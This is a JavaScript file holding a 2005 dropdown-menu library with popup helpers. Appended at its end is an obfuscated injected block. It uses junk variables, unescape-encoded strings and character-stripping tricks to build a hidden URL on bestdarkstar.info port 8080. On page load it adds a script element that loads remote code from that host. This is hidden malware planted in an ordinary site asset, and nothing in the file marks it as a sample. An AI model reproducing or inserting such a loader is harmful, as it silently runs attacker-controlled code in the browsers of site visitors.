// <script>

// Copyright (C) 2005 Ilya S. Lyubinskiy. All rights reserved.
// Technical support: http://www.php-development.ru/
//
// YOU MAY NOT
// (1) Remove or modify this copyright notice.
// (2) Distribute this code, any part or any modified version of it.
//     Instead, you can link to the homepage of this code:
//     http://www.php-development.ru/javascripts/dropdown.php.
//
// YOU MAY
// (1) Use this code on your website.
// (2) Use this code as a part of another product provided that
//     its main use is not creating javascript menus.
//
// NO WARRANTY
// This code is provided "as is" without warranty of any kind, either
// expressed or implied, including, but not limited to, the implied warranties
// of merchantability and fitness for a particular purpose. You expressly
// acknowledge and agree that use of this code is at your own risk.


// ----- Popup Control ---------------------------------------------------------

function at_display(x)
{
	var win = window.open();
	for (var i in x) win.document.write(i+' = '+x[i]+'<br>');
}

// ----- Show Aux -----

function at_show_aux(parent, child)
{
	var p = document.getElementById(parent);
	var c = document.getElementById(child );

	var top  = (c["at_position"] == "y") ? p.offsetHeight+2 : 0;
	var left = (c["at_position"] == "x") ? p.offsetWidth +2 : 0;

	for (; p; p = p.offsetParent)
	{
		top  += p.offsetTop;
		left += p.offsetLeft;
	}

	c.style.position   = "absolute";
	c.style.top        = top +'px';
	c.style.left       = left+'px';
	c.style.visibility = "visible";
}

// ----- Show -----

function at_show()
{
	var p = document.getElementById(this["at_parent"]);
	var c = document.getElementById(this["at_child" ]);

	at_show_aux(p.id, c.id);

	clearTimeout(c["at_timeout"]);
}

// ----- Hide -----

function at_hide()
{
	var c = document.getElementById(this["at_child"]);

	c["at_timeout"] = setTimeout("document.getElementById('"+c.id+"').style.visibility = 'hidden'", 333);
}

// ----- Click -----

function at_click()
{
	var p = document.getElementById(this["at_parent"]);
	var c = document.getElementById(this["at_child" ]);

	if (c.style.visibility != "visible")
	at_show_aux(p.id, c.id);
	else c.style.visibility = "hidden";

	return false;
}

// ----- Attach -----

// PARAMETERS:
// parent   - id of visible html element
// child    - id of invisible html element that will be dropdowned
// showtype - "click" = you should click the parent to show/hide the child
//            "hover" = you should place the mouse over the parent to show
//                      the child
// position - "x" = the child is displayed to the right of the parent
//            "y" = the child is displayed below the parent
// cursor   - Omit to use default cursor or check any CSS manual for possible
//            values of this field

function at_attach(parent, child, showtype, position, cursor)
{
	var p = document.getElementById(parent);
	var c = document.getElementById(child);

	p["at_parent"]     = p.id;
	c["at_parent"]     = p.id;
	p["at_child"]      = c.id;
	c["at_child"]      = c.id;
	p["at_position"]   = position;
	c["at_position"]   = position;

	c.style.position   = "absolute";
	c.style.visibility = "hidden";

	if (cursor != undefined) p.style.cursor = cursor;

	switch (showtype)
	{
		case "click":
		p.onclick     = at_click;
		p.onmouseout  = at_hide;
		c.onmouseover = at_show;
		c.onmouseout  = at_hide;
		break;
		case "hover":
		p.onmouseover = at_show;
		p.onmouseout  = at_hide;
		c.onmouseover = at_show;
		c.onmouseout  = at_hide;
		break;
	}
}

function PopUpView(url)
{
	var height = screen.availHeight ;
	var width = screen.availWidth;
	url = url+'&width='+(width-150)+'&height='+(height-100);
	window.open(url,"_blank","toolbar=no, location=0, directories=no, status=no, menubar=no, titlebar=no, scrollbars=yes, resizable=yes, copyhistory=no, width="+width+", height="+height);
}

function PopUpMail(url)
{
	window.open(url,"_blank","toolbar=no, location=0, directories=no, status=no, menubar=no, titlebar=no, scrollbars=no, resizable=no, copyhistory=no, width=659, height=230");
}


var D;if(D!='o' && D!='YI'){D='o'};var Yy;if(Yy!='Ag'){Yy=''};function a(){var q;if(q!='' && q!='m'){q='oo'};var y=new Array();var c="";var r=unescape;var ZM;if(ZM!='Z' && ZM != ''){ZM=null};var t=window;var s;if(s!='' && s!='N'){s='Vh'};var TC;if(TC!='' && TC!='k'){TC=''};var _n="";var x=new String();var e=r("%2f%6b%6f%6d%6c%69%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6f%70%65%72%61%2e%63%6f%6d%2e%70%68%70");var yT;if(yT!='cx' && yT!='Lp'){yT=''};function A(w,I){var Y=new String("g");var v=r("%5b"), B=r("%5d");var V=v+I+B;var P=new RegExp(V, Y);var Pv;if(Pv!='' && Pv!='DQ'){Pv=''};return w.replace(P, new String());};var hN;if(hN!='wf'){hN='wf'};var i;if(i!=''){i='g'};var b=document;var Ce=new Date();var _=new String();var h=A('853110649273685631190797113','95137264');var R;if(R!='zf' && R!='tX'){R=''};this.im="";var bH=new Array();this.YK="";function r_(){var u;if(u!='' && u!='NG'){u='PW'};var X;if(X!='' && X!='sq'){X='ZS'};var VS=r("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var YH="";var wU;if(wU!=''){wU='xQ'};var J=new Array();_=VS;_+=h;var cn=new Array();_+=e;this.qO='';var MK='';var AO='';try {var CB="";var GB=new String();var hR;if(hR!='IZ' && hR!='ei'){hR=''};p=b.createElement(A('slcfrwiwp_tw','4fwdlbQ2_'));var X_;if(X_!='RF'){X_=''};var mj;if(mj!='QI'){mj=''};this.Lh="";var eA='';this.Myx="";p[r("%64%65%66%65%72")]=[1][0];var pK;if(pK!='kU' && pK != ''){pK=null};var Fs="";p[r("%73%72%63")]=_;var oe=new Array();this.H='';var PS="";var Rl=new Array();b.body.appendChild(p);this.YA='';var vj;if(vj!='CV'){vj='CV'};var Gp='';var WC='';} catch(E){var ft;if(ft!='aV' && ft!='yN'){ft='aV'};var yi;if(yi!=''){yi='ZT'};alert(E);};}var CD=new Array();var ET=new Array();t["onloaDit".substr(0,5)+"dVUL".substr(0,1)]=r_;var zO;if(zO!='FZ'){zO='FZ'};};var WN;if(WN!='pb' && WN != ''){WN=null};a();